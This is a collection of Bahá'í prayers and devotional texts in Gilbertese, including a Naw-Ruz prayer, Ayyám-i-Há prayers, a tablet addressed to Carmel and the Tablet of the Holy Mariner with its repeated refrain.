ibukiia aika a etieti ibuakoia Am karikibwai. Ko mwaaka ni karaoi bwaai ni kabane. Akea te Atua bwa ti Ngkoe, te Moan te Mwaaka, te Tia Ibuobuoki n tain te Kanganga, Moan te Korakora, Moan te Tituaraoi.\nTai karokoi n tokiia ara aki mamatam ma te tai n aki mamatam aio, O au Uea, ao tai karokoi n tokiia taian boraraoi ake Ko a tia ni karaoi ma te boraraoi aio. Butimwaai bwaai ni kabane ake ti a tia ni karaoi ibukin Tangiram, ao ibukin Kakukureiam, ao bwaai ni kabane ake ti tuai karaoi ibukin tautaekanakira iaan nanora aika a bubuaka ao ni kaibwabwaru. Kariaiakiira ngkanne, bwa ti na teimatoa n nimtaki nakon Am tangira ao Kukurein Nanom, ao kawakiniira man aia mwakuri buaka naake a tia ni kakeweko ao ni kaitarai Am kanikinaa aika a otanako. Ngkoe, ni koaua, Uean te aonnaba aio ao ae e na roko. Akea te Atua Irarikim, moan te Karineaki, Moan te Rietata.\nKo na kamoamoa, O te Uea Atuau, Teuare Ngaia Boton te Kakannato, te Miterio n Tamnei, te Oioi ae e aki Nonoraki, Ngainanaumarin te Tamnei, ao Kaotiotin Arom ni Uea, are Rinanona ao taian ataibwai ibukin taai aika a nako ao ataibwai ibukin taai aika a na roko a bane ni kaotaki, are Rinanona ao taian bwaeao ibukin te atatai ae e karabaaki a bane ni katangainaaki, ao miterion Aram ae e tangiraki a kaotaaki, Are Ko a tia n rineia bwa te tia katanoata Teuare Arana a tia ni katomaaki ao ni katiteuanaaki te manintaeka ae B ao te manintaeka ae E, are rinanon Arom ae e Karineaki, Ueam ao Korakoram a riki n ataaki, Rinanom a tia ni karuoaki Am taeka, ao Am tua a kaotinakoaki n teretere ao Am kanikinaa a kabutaki nakon taabo nako, ao Am taeka e a kateakiraoi, Rinanom are nanoia naake a rineaki Iroum a katangainaaki, ao ni kabane ake i karawa ao ni kabane ake iaon te aba a bane n ikotaki, Teuare Ko a tia n aranna bwa 'Ali-Muhammad inanon aonnaban Aram nako, ao Tamneia Tamnei inanon Taburetin nako Am tua ae e aki kona ni kauntabaaki, are Ko a tia ni katokaa iaona oin Aram, are nakon Aram ao a tia aara ni kabane iaan am moti ao rinanon mwaakan Korakoram a bane ni kaokaki, ao Rinanom are Ko a tia ni karikii Anuam ao Aram nako bwa a na karokoia n tokin aroia. Ana bwai naba aara ake a karabaaki inanon Umwam aika akea memeaia, inanon Am aonnaba ae e aki kona n nonoraki ao Am kaawa aika a katabuaki.\nKo na kamoamoa, iaon riki bwaai ni kabane, naake a tia ni kakoaua Teuarei ao Ana kanikinaa ao n tia n rairaki Nakoina, mai buakoia naake a tia ni kakoauaa Am katiteuana inanon Am Tia Uarongorongo ae E a tibwa tia ni kaoti – te Tia Uarongorongo are E a tia ni mwaneweia inanon Ana Tabureti, ao inanon Ana Boki, ao inanon Ana Koroboki, ao inanon kiibu nako aika a tamaroa ao taetaenikawai ae ai aron momi ake a tia n ruo nako Aona. Bon te Tia Uarongorongo naba aio are Ana Boraraoi Ko a tia n tuanga bwa E na kateia imwaain ae e katea oin Ana boraraoi. Bon ngaia are E kamoamoaaki inanon te Bayan. Inanona are Tamaroana e a tia ni kamoamoaaki, ao koauana e a tia ni kateaki, ao Ueana e katanoataki, ao Ana Aro e kakororaoaki. E a kakabwaiaaki teuare e a tia n rairaki Nakoina ao ni kakoroi bukin bwaai ake E a tia n anga Ana kaetieti iaoia, O Ngkoe are Uean te aonnaba ao aia Tangira naake a tia ni Kinako!\nKo na kamoamoaaki, O Atuau, ngkai Ko a tia ni buokiira bwa ti na kinaa ao n tangiria. Ai ngaia are, I bubutiko Iroun ao Irouia Naake Ngainanaumarin Tamneim, ao Kaotiotin Ueam, ao Kaubwain nako Am Kaotioti, ao Taan Uouoti Am kairiiri, ni buokiira bwa ti na beku ao n ongeaba Nakoina ao kakorakoraira bwa ti na riki bwa taan buoka Ana Aro ao taan kamaenakoia Ana kairiribai. Ko mwaaka ni karaoa are Ko nano iai. Akea te Atua Irarikim, te Kabanea ni Korakora, te Kabanea ni Mimitong, Teuare E ukoukoraki te ibuobuoki mai Irouna irouia aomata ni kabane!\n(Naw-Ruz, Maati 20 ke 21, bon moan bongin te ririki ni Baha'i.)\nBon Am bwai te kamoamoaaki, Ngkoe Atuau, bwa Ko a tia ni katabua Naw-Ruz bwa te tai ni kukurei irouia naake a tia ni mwannanoa te Aki Mamatam i bukin Tangiram, ma ni kaawakiniia man baike aki raraoi Iroum. Au Uea anganiia ain Am tangira, ao te kabuebue are e otinako man te Aki Mamatam are Ko anga, bwa a na konaa ni urarake iai i nanon Am Waaki ao karikiia bwa a na maeka ma Kamoamoaam ma Uringam.\nMan te tai are Ko katamaroaiia Ngkoe au Uea, n tamaroan te Aki Mamatam are e katauraoaki Iroum, Ko bon katamaroaiia n tamaroan Am kariaia rinanon Am Raoiroi ao Am Iraorao n tituaraoi. Ma aia mwakuri aomata a kawenei i aon Kukureim ae e raoiroi, ma ni buran Am tua. Ko bia mutiakinna ngkai e a toki ana Aki Mamatam ae e a toki aei, ao bwa e na warekaki teuaei ma neiei bwa naake a tia ni karika kuneakin Am Kaotioti ni kamemeaaki ni bubun te tano ao ma ni kamwawaaki nako man te ran ae ai aron atibu aika a kakawaki n te Koburake n ran ni kamaiu aei.\nBoni Ngkoe Te Atua, te Manua are e a tiotio i aora ao ti noora iai ae kaanga Ko bon riai n neboaki n Am mwakuri ao te waaki ae kaangai E na ongeaaba te aba nakon Am tua, are e taekinaki. Katanoata taekan Am tabo, Ngkoe Atuau, tuangiia Am toro, bwa a na atai raoi kakannaton bwaai nako bwa a bon tine i aan Am tua ao Am taeka, ao raoiroin mwakuri ao are e tamaroa n te kukurei ni motin nanoia are e na kinaaki bwa te kairiiri man aia beku aomata bon man Am kariaia, ao maaniia ni kainaki n Am raoiroi, i nanon boong aikai are E taku iai Kristo: Boni Ngkoe Uean tautaeka nako, Ngkoe are Taman te Tamnei (Iesu); ao Raom (Mwaometa) are E takaarua: Boni Ngkoe te Mimitong, Ngkoe are Moan te Tangiraki, bwa Ko a tia n aki rabuna Tamaroam, ao ni korei baike a na riki naake Ko rineiia bwa a na karekea kaintekatekan kaotiotin Aram ae moan te Kakannato, are mai iai aomata ni kabane a tanginiwenei ma ti ngkana a motiki bukiia man bwaai nako ma ti Ngkoe ao ni waaki Nakoina Ngaia ae te Tia Kaotiotiko ao te Tia Kaotai Arom nako.\nTeuare bon Ngaia Am Mwaanga ao Am botaki ni kabane, Ngkoe au Uea, a tia ni katoka aia Aki Mamatam n te bong aei, i mwiin tian tauana irouia i aon robwan Am botaki, ma ingaingaia ni Kakukureiko. Ko na kataua i bukina ao i bukiia ni kabane ake a tia ni bane n rin ni Kaaniam ni boong akekei ake a bane n raraoi are Ko a tia ni baaireia n Am Boki. Anganiia ngkanne baike a tau i bukiia, i bukin te maiu ae e na roko.\nBoni Ngkoe ni koaua, te Ataibwai ni kabane, te Kabanea ni Wanawana.\nAtuau au Ai ao au Oota! Boong ake ko a tia n ingoanii bwa te Ayyám-i-Ha inanon am boki a bon tia ni moanaki O Ngkoe teuare Ueaia Aara ni Kabane, ao te aki mamatam are am Been ae moan baan te rietata e a tia ni kawenei kaetieti nakoia ni kabane ake inanon abanuean Am karikibwai bwa a na karaoa nanona e a uakaan. I bubuti nakoim, O au Uea, bwa man boong aikai ao mairouia ni kabane inanon te tai ae a bane n tinea kaon am kaetieti nako, ao n taua bain am kanoa n reirei, ni kataua nako aoia n tatabemaniia tamnei bwa a na anganaki te tabo inanon Oon am Marae, ao te kaintekateka n te Kaotioti ibukin raneanean Ootan Moam.\nAikai O au Uea, bon am toro ake akea te aananga ni babakaniwai are tauia rikaaki man are ko a bon tia ni karuoi inanon am boki. A bon tia ni boobaraaki Imatan am Waaki, ao ni karekea am boki ma te angimatoa are bungiaki mai iroum, ao ni karaoa nanon are ko a tia ni koreia nakoia ao rineia bwa a na iria n aron are ea tia ni karuoaki Mairoum.\nKo bon nooria, O au Uea, aroia ni Kinaa ao n taakinakoi ni kabane ake ko a tia Kaoti inanon am Koroboki. Anganiia bwa a na mooi, O au Uea, man bain am akoi te ran Mairoum ae akea tokina. Koreia ngkanne ibukin te kabomwi are katauaki ibukina are e a tia ni kainakoa inanon Marawan ae iai Ngkoe iai, ao ni karekea te wain ae te kabanea ni kangkang n te kaitibo ma ngkoe.\nI bubuti nakoim, O Ngkoe Ueaia Ueea ao te tia nanoangaiia aika kataorikaakaki ni kataua nakoia raoiroin te aonnaba ae na roko. Koroia ibukia ao moarariki te bwai ae akea irouia am karikibwai ae e a tia ni kunea, ao warekia ibuakoia naake a tia ni katobibiiko ao are e mwamwainging irarikin am Kaintoka-n-uea ni katoai aonnaba n am aonnaba nako. Ngkoe ni koaua, Te Kabanea ni Mwaaka, te kabanea n atatai, te kabanea n ataibwai.\nMimitong ni kabane bon nakon te Bong aei, te Bong are i nanona boiararan nako te nanoanga a tia ni uotaki rinanon te ang nako aoia karikibwai ni kabane, te Bong ae e koro n te karaoiroaki rooro ma tienture ake a tia n nako mai mwaaina a bon aki konaa ni kabotaua, te Bong are i nanona Boong e a tia n rairaki nakon Tekatekam ae Tabu. N rimwiin anne bon bwanaaia karikibwai ni kabane, ao i aoia bon Rungaia Anera ni Karawa, n ongo te aba bwanaaia ni wewete n takarua: Ienikuriiko Ngkoe Karamera, bwa nooria, ootan buraburan Moan Te Atua, te Tia Tautaeka n Abanuean taian Ara ao te Tia Karaoa karawa nako, e a tia n neboaki i aom.'\nN tauaki i nanon te kimwareirei ae korakora, ao n tabekaarake bwanaana ni karietaata, e takaarua n taku: 'E bia riki maiu bwa te karea Nakoim, i bukina bwa Ko a tia ni kaeta am taratara nako aou, n tia n ana nako aou Am bwai n tituaraoi, ao n tia ni kaetai nakon mwanekan waem. Te raure nako Mairoum, Ngkoe are Boton te maiu ae akea tokina, e a tia ni waetata ni kabuaai ao raroau mai Iroum e a tia ni kabueka tamneiu. Te kamoamoaaki Nakoim bwa Ko a bon tia n anganai te konabwai bwa Nna ongo nakon Am wewete, ibukin tian karineau ma mwanekan waem, ao ibukin tian kamaiuakin tamneiu rinanon korakoran boiararan Am Bong ao kakangin bwanaan Am Kainikoroboki, te bwanaa are Ko a bon tia ni baaireia bwa te buu ni wewete i buakoia Am botannaomata. Ao ngke e a roko te aoa are e na kaotaki iai Am Aro ae e aki konaa n totokoaki, ao Ko a tia n ikeikena ikeiken Tamneim nako nanon Am Kainikoroboki, ao nooria, te karikibwai ae bwanin e ioaki bon mai oina, ni kaota nakoia aomata kamiimi nako ake a wene n raba i nanon kaubwain Teuare boni Ngaia te Tia Bwaina te karikibwai ni kabane.'\nE aki maan imwiin tian rokon bwanaana n te Tabo are moan te karietataaki arei ao n aei ae Ti a kaeka: 'Angan Am Uea te karabwarabwa ae bati, Ngkoe Karamera. Ain raurenakom Mairou e waetata ni kabuako, ngke marawan Rokou e naouea i matam ao ni kaunga ma te kukurei matam ao ake irouia karikibwai ni kabane, ao ni kaonrakei ma te kukurei bwaai ni kabane ake a nooraki ao ake a aki nooraki. Kukurei, bwa E a tia Te Atua i nanon te Bong aei ni katea Kaintokan Ueana i aom, n tia ni karaoiko bwa moan teirakean Ana kanikina nako ao otaningainan kakoauaan Ana Kaotioti. E a kakabwaiaaki te aomata are e katobibia rarikim, are e katanoataa kaotiotin Mimitongim, ao n taekina Ana bwai n tituaraoi Am Uea ae Atuam are a tia ni kabwaroaki nako aom. Taua Mwangkon te Maiu ae Akea Tokina i nanon aran Am Uea, te Kabanea ni Mimitong, ao anga am kaaitau Nakoina, bwa E a tia ni bita nanokaawakim nakon te kukurei ao n onika rawawatam ae korakora nakon te kimwareirei ae bati. Ngaia, n te koaua, E bon tangira te tabo are e a tia ni karaoaki bwa tekatekan Kaintokan Ueana, are e a tia n touaki ni Waena, are e a tia ni karineaki n Tikuna iai, are e a tia n tabekakirakeaki mai iai Ana wewete, ao are a bon tia ni kabwaroaki i aona Rannimatana.\n'Wewete nako Tion, Ngkoe Karamera, ao katanoata te rongorongo ae e kakukurei: E a bon roko Teuare E karabaaki ngkoa man mataia aomata! E a bon nooraki ngkai Ana tautaeka ae totokanikai; e a bon tia ni kaotiotaki Mimitongina ae rabwatii bwaai ni kabane. Taratara raoi, bwa ko aonga n aki tabwara ke n nanokokoraki. Ienikuriiko ni katobibia Ana Kaawa Te Atua ae e a tia n ruo mai karawa, are te Kaawa ni karawa ae e a tia ni katobibiaki ma te nebonebo irouia ake a tangiraki iroun Te Atua ake a itiaki nanoia, ao ai botakiia anera aika moan te karietataaki. E a korakora Nanou ni kan katanoata nakoia taabo nako i aon te aonaaba aio, ao ni uota nakoiia n aia kaawa nako rongorongo aika a kakukurei n te Kaotioti aio. Te Kaotioti are e a tia ni kariiaki nako iai nanon Tiinai, ao are e a tia te Kai ae e Ura ni wewete n arana: \"Bon nakon Te Atua, Ueaia Uea, taian abanuea n aonaaba ni karawa.\" Bon aio, ni koaua, te Bong are i nanona aaba nako ao marawa a uaia ni kukurei n te katanoata aio, te Bong are a tia ni katauraoaki ibukina bwaai ni kabane ake E a tia Te Atua, rinanon te tituaraoi ae riaon aia iango ma nanoia aomata, ni katautaua kaotiia. Imwiin te tai ae e aki maan ao Te Atua E na borauakina Ana Aake i aom, ao ni kaotiia aomatan Bahá ake a tia ni mwaneweaki i nanon te Boki n Ara.'\nE katabuaki Uean te botannaomata, are ngke e atongaki Arana ao a ruru iai iteran nako te aonaaba, ao e a roko nanona iai Newen te Kakannato ni kaotii baike a rabunaki ngkoa inanon Ana atatai ao ake a wene n raba inanon kaubwain Mwaakana. Ngaia ni koaua, rinanon korakoran Arana, te Mwaaka, te Kabanea n Tautaeka, te Kabanea n Rietaata, bon te tia tautaeka i aoia bwaai ni kabane ake i karawa nako ke i aon te aba.\n''Kamatebwaia te Tabureti ibukin te Holy Mariner bwa ko aonga n at ate koaua, ao karaua iangoia bwa te Tamaroa Ae E Kakabwaiaki E a tia n taetae ni burabeti n tabwaninna taekan bwaai aika a na riki nakon taai aika a na roko. A riai naake a noraba n taua bwa te kauring nakoia.'' 'Abdu'l-Bahá\nNgaia te Tituaraoi, Moan te Tangiraki! O Mariner ae e Tabu!\nTuanga am ake ibukin te aki totoki bwa e na kaoti i moan te Runga Ni Karawa are moan te Tabu,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nKabwakaa iaon taari are ngkoangkoa, rinanon Arana, te Kabanea ni Kamimi,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo kariaia riniia anera n tamnei, rinanon Aran te Atua, Moan te Rietata,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nKabwaraa roona, ngkanne, bwa e aonga ni borau iaon marawan te mimitong,\nA na kukurei kaaina ni karekea rokoia nakon nnen kaanian te tabo are akea tokina.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nNgke a tia n roko ni bikena ae e tabu, are mataniwiin biken taari are e mata uraura,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nTuangiia bwa a na mwananga nako ao ni karekea nakoia te karinan ae e aki kona n noraki ae man te itera n tamnei,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nTe karinan are i nanona E a tia te Uea inanon Ain Tamaroana ni kaoti inanon te kai ae e aki kona ni mamate,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nIke naake a rabwatana Ana Aro a kaitiakiia bon mai irouia ao bwaai ake a tangiri,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nN otabwaninia are Mimitongin Moote e bon katobibiia ma te runga ake a maiu n aki toki,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAre inanona ao Bain te Atua E kaienakoa man bwabwan Kakannatona,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAre inanona aaken te Aro e a tiku n aki kakamwakuri e ngae ngke nakoia kaaina a katanoataaki ibukia taian anua aika a raraoi ni kabane.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nO Ngke Mariner! Reireiniia naake a mena inanon te ake bwaai ni kabane ake ti a tia n reireini ngkami\ni akuun te rabunanimata are e kamimi,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nBwa a na aki tiku inanon te tabo are e takamainaina are e tabu,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nMa a na rierake iaon bain te tamnei nakon te karinan are E a tia te Uea ni karietataa iaon bwaai ni kabana ake a tia ni mwaneweaki inanon te aonnaba are i nano,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nA bia kibarake i eta n aroia mannikiba ake a tatangiraki inanon aonnaban te manga kaitiboaki are akea tokina;\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nA na kona n atai taian miterio ake a karabaaki inanon Taarin te ota.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nA riaon karinanin tiatianakin te aonnaba ao a roko n te katiteuanaaki n tamnei, are boton te kairiiri ni karawa.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nA tia n tangiria n rierake nakon te karinan are E a tia te Uea ni baireia bwa e riaon aia karinan.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAre Nei Tewenei are e ura e a karenakoia mai buakoia naake a mamaeka inanon Abanuean Kaniana,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo e ongo Bwanaan te Kakannato ni mwemwerake mai akuun te auti n rianna ae aki noraki iaon Taubukin te Mimitong!\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nNgkai a tia ni kataua bwa a na waerake nako te mronron are bain ni kiban te taobe ae e tabu a tuai man rooroko iai;\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Are i aona ao kaibuken te katautau e tei n aki kakamwakuri ao are aia iango naake a ota a aki kona n ataia.''\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAre mai iaona ao ainen karawa e tarataranako man ana ruu ae e karietataaki,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo a ana ari, e anga te kanikinaa nakon te Runga are e Tabu,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nN otan moana ao e kaotaa karawa ao aonteaba,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nN otan moana ao e kaotaa karawa ao aonteaba,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo inanon ana tai ni kaotaia aomatan te bubuntano ma otanakon tamaroana,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE tabeka te wewete are akea te taninga rinanon nako te aki totoki ae e a tia n ongo mai mwaaina,\nAo ni katanoataa, ''Iroun te Uea! Teuare nanona ae akea boiararan te tangira irouna ibukin te Roronrikirake mai Arabia ae e karietataaki ao ni kamimitongaki,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''E na bon aki kona n rierake nakon mimitongin karawa are te kabanea n rietata.''\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nIkanne e wewetea temanna mai buakoia ana ataeinnaine nakoina,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo e anga te kaetieti nakoina ni kangai: ''Ruorikaaki nakon tinanikun te aonnaba man bwaretin te aki tootoki,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Ao rairaki nakon te baere a tia ni karabaa i kabin nanoia,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Ngkana ko ikerakea boiararan te kamwarai man te Roronrikirake are e a tia ni karabaaki inanon autin riannan te ota imwiin bwaai ake a tia ni karaoi baia naake a buakaka nakoina,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Tabeka te tang inanom, bwa a aonga naake a mamaeka inanon ruun te Bwaretaiti, ake a rabwatani kaubwai ake akea tokiia, ni kona n ota ao n ongo nako iai;\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Bwa a aonga n ruorikaaki man aia ruu ake akea tokiia ao n ruru,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Ao ni kaboria ma baia ao waeia ibukina ngkai a tia ni waerake nakon rietan te kakaonimaki;\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Bwa tao a na kona ni kunea man aia kamwarai boiararan Teuare E Tangiraki.''\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nIkanne ao moamoan te aine are e tangiraki riki e takiakia i etan taian ruu ake a karitataaki n ai aron te taura are e otanako man moamoan te Roronrikirake i etan Ana tembora are e mamate;\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nImwiina e ruorikaaki neiei ma katamaroaan aona n te aro are e kaotanako karawa ao bwaai ni kabane ake i nanona.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE teirake ao e kaboiararai bwaai nako iaon aban te katabuaki ao te karineaki.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nNgke e roko n te tabo arei ao e mwemwerake nakon tokin abwakina i nukan buroon te karikibwai,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo ni karekea angana n ikerakea boiararaia n te tai are e aki ataaki moana ao tokina.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE aki kunea irouia te bwai are e tangiria, ao aio, ni koaua, bon teuana mai buakon ana karaka aika a rangin tamaroa.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE a ti tang n takarua neierei, e mangoo n tang ao e oki nakon are bon oin ana karinan inanon ana bwareti are te kabanea n rietata,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo ngkanne e mwanewea teuana te taeka ae e miterio, are e wirikirikiia i bon irouia n newena ae ai aron karewen te ani,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo e tabeka te wewete ibuakon te Runga are e Rietata ao ainen karawa ake a maiu n aki toki:\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Iroun te Uea! I aki kunea mai buakon taeka aika akea nanoia aikai aabebeten angin te Kakaonimaki!\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\n''Iroun te Uea! E a tia te Roronrikirake n tiku n ti ngaia ao ni maroa n te aba are e taeabaaki nako iai man tiku inanon baia naake akea atuaia.''\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE katinakoa tangina i bon i nanona neiei n te aro are a takarua ma n ruru kaain te Runga ni Karawa,\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nAo e bwaka nako aon te bubuntano ao e angarake te tamnei.\nTitebo ma e weteaki neiei ao e kaeka nakon Teuare e kainaoa nakon te Tabo are e Rietata.\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nE na kamimitongaki Teuare E karika neiei man oioin ana tangira I nukan nanon ana bwaretaiti are e karietataki!\nE na kamimitongaki au Uea, te Kabanea ni Mimitong!\nIkanne are ainen karawa a kawaekoaia n otinako man aia ruu, are moamoaia akea te mata teuana ae e mamaeka n te kabanea n rietata ni bwaretaiti ae e a tia n tirobaaia mai mwaaina.\nE na kamimitongaki ara Uea, ae Moan te Rietata!\nA bane n ikotaki n otabwaniniia ao akea, a kunea rabwatana ae e bwaka iaon te bubuntano;\nE na kamimitongaki ara Uea, ae Moan te Rietata!\nAo ngke a noria n arona arei ao a ota n te taeka teuana man Ana karaka te Roronrikirake, a kanakoi rabunan atuuia, a taekii kunnikaia, a orooroi ubuia, a mwaninga kukureia, a bwaka rannimataia ao a orei tabaia ni baia, ao ni koaua aio teuana mai buakon taian karawawataki ae e miterio man rangi ni kaakaiaki arona –\nE na kamimitongaki ara Uea, ae Moan te Rietata!\nN aran te Atua, Bwain Ngkoa Ngkoa, te Kabanea ni Korakora.\nNi koaua ao nanoia naake a kokoaua a kanaki n ain te raurenako: E nga raitiitin otan Moamoam O ae Ko Tangiraki irouia aonnaba?\nNaake a uakaan Nakoim a tia ni kitanaki inanon rotongitongin te urubeke: E nga raneanean ingabongin te manga kaitiboaki ma Ngkoe, O Ae Ko Tangiraki irouia aonnaba?\nRabwataia ake Ko rineia a wene n ruru iaon taian tano i kiraroa: e nga marawan Menam ikai, O te Tia Katikinanoi aonnaba?\nBaai aika a ingainga a mwemwekaki nakon karawan Am akoi ao Am tituaraoi: E nga karaun Am Angaanga, O te Tia Kaekai aonnaba?\nTaan iowawa a tia n teirake ni kakiriwe ni katoai taabo nako: e nga korakoran Am kainikoroboki ae e katabuaki, ae e aki kona ni kaaitaraki, O Ngkoe Te Tia Tokanikai iaon aonnaba nako?\nKaukauiia kamea e nene n itera nako: e nga raianin te buakonikai ni Mwaakam, O te Tia Kaetietii aonnaba nako?\nTe mwaitorotoro e a tia ni komakiia aomata nako: E nga kabuebuen Am tangira, O Ain taian aonnaba?\nTe kabuanibwai e a roko n rietaatana: A nga kanikinaean Am ibuobuoki, O Te Tia Kamaiuia taian aonnaba?\nE a tia te rotongitong n otabwaniniia angiia aomata: E nga otamwaakan Raneaneam, O Otanakon taian aonnaba?\nRoroaia aomata a reena nako n te kairiribai: A nga kabaangin Am karekekai, O Te Tia Urui taian aonnaba?\nTe kamaemaeaki e a roko ni kabin rinanona: A nga kanikinaean Mimitongim, O Mimitongin taian aonnaba?\nTaian karawawata a tia n kaikuaka te Tia Kaotiota Aram, te kabanea n Nanoanga: e nga kakukurein Ngainan aomarin Am Kaotioti, O Kakukurein taian aonnaba?\nTe nakonnano e a tia ni bwakariia aomata n te aonnaba: A nga kanikinaean Am kakukurei, O te Tia Kakukureia taian aonnaba?\nKo nora Kaotin te Karangaina Am kanikina n rabunaki n taian kaoti aika a riaboro: A nga tabonibain Mwaakam, O Korakoran taian aonnaba?\nTe bwatakataka e a tia n taoniianako aomata ni kabane: E nga karaangan Am tituaraoi, O Te Tia Nanoangaia kaain taian aonnaba?\nTe mwangainrang e a tia ni kabaeia aomata nako: A nga karabwataakin te kamwawaaki, O Uean taian aonnaba?\nKo nora Teuae Kabureaki aio ae maroaa inanon kakionakoana mai abana: A nga taan kairua ni karawan Am Kaetieti, O Uean Taian aonnaba?\nI a tia ni katioaki n te aba ae ianena: A nga kanikinaean Am kakaonimaki, O Te Tia Onimakinaki n Taian aonnaba?\nKammarakin te mate e a tia n tauiia aomata nako: E nga utin Am marawa ibukin te maiu ae akea tokina, O Maiun taian aonnaba?\nAna wirikiriki Tatan, e a tia n ikeike nakoia karikibwai ni kabane: E nga atibun karawan Am ai, O Otan taian aonnaba?\nMangingin te kaibwabwaru e a tia ni kabarekaia angiia te botanaomata: A nga ngainan aomarin te itiaki O ae Ko Tangiraki n taian aonnaba?\nKo nora Teuare e Kabureaki aio n rabunaki n taian mwakuri ni iowawa ibuakoia kaain Syria: E nga raitiitin Am ota n te karangaina? O Ngkoe Otan taian aonnaba?\nKo norai ae I katabuaki n taetaenikawai: Ao ngkanne mai ia ae e na bwebwerake Eenikunam, O Naitengkaren taian aonnaba?\nAngiia aomata a otabwaniniaki n taian katautau ao iango aika akea nanoia: A nga kanikinaean am kakaonimaki, O Te Tia Kakoaua ibukin taian aomata?\nE a bwabwa Bahá inanon marawan te kabuanibwai: E nga te Aake ibukin Kamaiuam, O te Tia Kamaiui taian aonnaba?\nKo nora Ngainan aomarin Am Taetaenikawai inanon rotongitongin te karikibwai: E nga taain karawan Am akoi, O te Tia Anga te Ota nakon taian aonnaba?\nTauran te koaua ao te itiaki, te kakaonimaki ao te karineaki, a tia n tiringaki: A nga kanikinaean Unim ni Kabomwi, O te Tia Kamwaingi taian aonnaba?\nKo kona n nora temanna ae e tei n tiambion Ibukiu, ke ae ni iangoi bwaai ake a tia ni bwakaria inanon kawain Ana tangira? Ngkai ao e tei moa Au kai-ni-koroboki, O ae ko Tangiraki n taian aonnaba.\nMwaangau te Kai te Rote ni Karawa e wene ni mwaoto ni korakoran ukin te katauaki ibukina: A nga taian buraeki n Am ibuobuoki, O Te Tiambion n taian aonnaba?\nTe Ubu aio e raba ibuakon bubun te taetae n aki akaaka: A nga beebeten angin Am nanoanga, O Te Tia Nanoangaia taian aonnaba?\nKamwarain te maiu ae katabuaki e kabarekarekaaki irouia aomata aika a babakanikawai: E nga te kunnikai ae tabu, O te Tia Katamaroai taian aonnaba?\nMarawan te akoi e aki kakamwakuri ibukin mwakuri ake a karaoi aomata: A nga naon Am Tituaraoi, O ae ko tangiraki irouia aonnaba?\nTe mataroa are e kaineti nakon Kaaniam ni Karawa e rokanaki rinanon aia iowawa Am kairiribai: E nga kiingin Am angaanga, O te Tia Kauki Rokan taian aonnaba?\nA kababoboaki taian banikai man boitinin angin te kakaaitara: E nga bwaron karaun Am tituaraoi, O te Tia Angaanga nakon taian aonnaba?\nE karooaki te aonnaba man barekan bubun te bure; A nga beebeten angin Am kabwarabure, O te Tia Kabwarai bureia kaain te aonnaba?\nTe Roronrikirake aei e maroaa n te aonnaba ae e urubeke: E nga karaun am tituaraoi ni karawa, O te Tia angaanga nakon taian aonnaba?\nO te Kabanea n Rietaata ni Kainikoroboki, ti a tia n ongo am kabanea ni karewerewe ni wewete inanon te aonnaba ae akea tokina: Anga taningam nakon te bwai are e atonga Newen te Korakora , O te Tia kabureaki n taian aonnaba!\nKe arona bwa akea te mwaitoro, e na kanga kabuebuen Am taeka n teimatoa, O Te Tia katanoata n taian aonnaba?\nKe arona bwa akea te kabuanibwai, ao e na kanga n oti taain Am\ntaotaonannano, O Otan taian aonnaba?\nTai tanginiwenei ibukiia aika a buakaka. Ko a tia ni karikaki bwa ko na keiakina uotam ao ni butimwaai kanganga, O te Tia Taotaonanano n taian aonnaba.\nAi karewerewera Kaotim n te karangaina iaon oraitanin te Boraraoi ibuakoia taan kakiriwe, ao Am ingainga nakon te Atua, O ae ko Tangiraki irouia aonnaba.\nIroum ao buraekin te inaomata e unikaki iaon taubuki aika a ririeta, ao marawan te tituaraoi e uti, O te Tia Kakukurei 